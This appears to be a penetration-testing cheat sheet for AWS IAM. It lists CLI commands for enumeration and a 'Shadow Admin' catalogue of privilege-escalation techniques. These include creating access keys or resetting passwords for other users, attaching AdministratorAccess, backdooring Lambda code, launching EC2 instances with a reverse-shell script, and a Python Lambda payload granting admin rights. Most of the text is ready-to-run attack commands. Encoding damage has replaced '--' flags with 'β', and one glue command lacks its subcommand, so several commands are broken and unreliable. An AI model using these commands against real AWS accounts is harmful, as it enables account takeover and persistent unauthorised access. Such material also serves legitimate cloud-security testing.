AWS - Identity & Access Management
Listing IAM access Keys
aws iam list-access-keys
Listing IAM Users and Groups
aws iam list-users
aws iam list-groups
Get IAM Details
aws iam get-account-authorization-details > iam.json
Assume a Specific Role
aws sts assume-role --role-arn arn:aws:iam::${accountId}:role/${roleName} --role-session-name ${roleName}
Login with MFA
Retrieve the MFA device ARN:
aws iam list-mfa-devices
Then create the session token:
aws sts get-session-token --serial-number ${arnMFADevice} --token-code ${MFACode}
Shadow Admin
Admin equivalent permission
-
AdministratorAccess
"Action": "*" "Resource": "*" -
ec2:AssociateIamInstanceProfile : attach an IAM instance profile to an EC2 instance
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=admin-role --instance-id i-0123456789 -
iam:CreateAccessKey : create a new access key to another IAM admin account
aws iam create-access-key βuser-name target_user -
iam:CreateLoginProfile : add a new password-based login profile, set a new password for an entity and impersonate it
aws iam create-login-profile βuser-name target_user βpassword '|[3rxYGGl3@`~68)O{,-$1BβzKejZZ.X1;6T}<XT5isoE=LB2L^G@{uK>f;/CQQeXSo>}th)KZ7v?\\hq.#@dh49β³=fT;|,lyTKOLG7J[qH$LV5U<9`O~Zβ,jJ[iT-D^(' βno-password-reset-required -
iam:UpdateLoginProfile : reset other IAM usersβ login passwords.
aws iam update-login-profile βuser-name target_user βpassword '|[3rxYGGl3@`~68)O{,-$1BβzKejZZ.X1;6T}<XT5isoE=LB2L^G@{uK>f;/CQQeXSo>}th)KZ7v?\\hq.#@dh49β³=fT;|,lyTKOLG7J[qH$LV5U<9`O~Zβ,jJ[iT-D^(' βno-password-reset-required -
iam:AttachUserPolicy, iam:AttachGroupPolicy or iam:AttachRolePolicy : attach existing admin policy to any other entity he currently possesses
aws iam attach-user-policy βuser-name my_username βpolicy-arn arn:aws:iam::aws:policy/AdministratorAccess aws iam attach-user-policy βuser-name my_username βpolicy-arn arn:aws:iam::aws:policy/AdministratorAccess aws iam attach-role-policy βrole-name role_i_can_assume βpolicy-arn arn:aws:iam::aws:policy/AdministratorAccess -
iam:PutUserPolicy, iam:PutGroupPolicy or iam:PutRolePolicy : added inline policy will allow the attacker to grant additional privileges to previously compromised entities.
aws iam put-user-policy βuser-name my_username βpolicy-name my_inline_policy βpolicy-document file://path/to/administrator/policy.json -
iam:CreatePolicy : add a stealthy admin policy
-
iam:AddUserToGroup : add into the admin group of the organization.
aws iam add-user-to-group βgroup-name target_group βuser-name my_username -
iam:UpdateAssumeRolePolicy + sts:AssumeRole : change the assuming permissions of a privileged role and then assume it with a non-privileged account.
aws iam update-assume-role-policy βrole-name role_i_can_assume βpolicy-document file://path/to/assume/role/policy.json -
iam:CreatePolicyVersion & iam:SetDefaultPolicyVersion : change customer-managed policies and change a non-privileged entity to be a privileged one.
aws iam create-policy-version βpolicy-arn target_policy_arn βpolicy-document file://path/to/administrator/policy.json βset-as-default aws iam set-default-policy-version βpolicy-arn target_policy_arn βversion-id v2 -
lambda:UpdateFunctionCode : give an attacker access to the privileges associated with the Lambda service role that is attached to that function.
aws lambda update-function-code βfunction-name target_function βzip-file fileb://my/lambda/code/zipped.zip -
glue:UpdateDevEndpoint : give an attacker access to the privileges associated with the role attached to the specific Glue development endpoint.
aws glue βendpoint-name target_endpoint βpublic-key file://path/to/my/public/ssh/key.pub -
iam:PassRole + ec2:CreateInstanceProfile/ec2:AddRoleToInstanceProfile : an attacker could create a new privileged instance profile and attach it to a compromised EC2 instance that he possesses.
-
iam:PassRole + ec2:RunInstance : give an attacker access to the set of permissions that the instance profile/role has, which again could range from no privilege escalation to full administrator access of the AWS account.
# add ssh key $ aws ec2 run-instances βimage-id ami-a4dc46db βinstance-type t2.micro βiam-instance-profile Name=iam-full-access-ip βkey-name my_ssh_key βsecurity-group-ids sg-123456 # execute a reverse shell $ aws ec2 run-instances βimage-id ami-a4dc46db βinstance-type t2.micro βiam-instance-profile Name=iam-full-access-ip βuser-data file://script/with/reverse/shell.sh -
iam:PassRole + lambda:CreateFunction + lambda:InvokeFunction : give a user access to the privileges associated with any Lambda service role that exists in the account.
aws lambda create-function βfunction-name my_function βruntime python3.6 βrole arn_of_lambda_role βhandler lambda_function.lambda_handler βcode file://my/python/code.py aws lambda invoke βfunction-name my_function output.txtExample of code.py
import boto3 def lambda_handler(event, context): client = boto3.client('iam') response = client.attach_user_policy( UserName='my_username', PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess" ) return response -
iam:PassRole + glue:CreateDevEndpoint : access to the privileges associated with any Glue service role that exists in the account.
aws glue create-dev-endpoint βendpoint-name my_dev_endpoint βrole-arn arn_of_glue_service_role βpublic-key file://path/to/my/public/ssh/key.pub